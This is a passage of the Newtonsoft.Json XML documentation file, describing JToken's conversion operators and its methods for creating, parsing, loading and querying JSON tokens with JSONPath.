an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.TimeSpan\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.TimeSpan}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Uri\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Uri\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Boolean)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTimeOffset)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Byte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.SByte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.SByte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Boolean})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTime})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTimeOffset})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Decimal})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Double})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTime)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Single})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Decimal)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Double)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Single)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.String)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.String\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte[])~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/>[] to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Uri)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Uri\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.TimeSpan)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.TimeSpan})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Guid)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Guid})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.CreateReader\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonReader\"/> for this token.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that can be used to read this token and its descendants.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when reading the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1(Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,System.Boolean)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,System.Boolean)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A 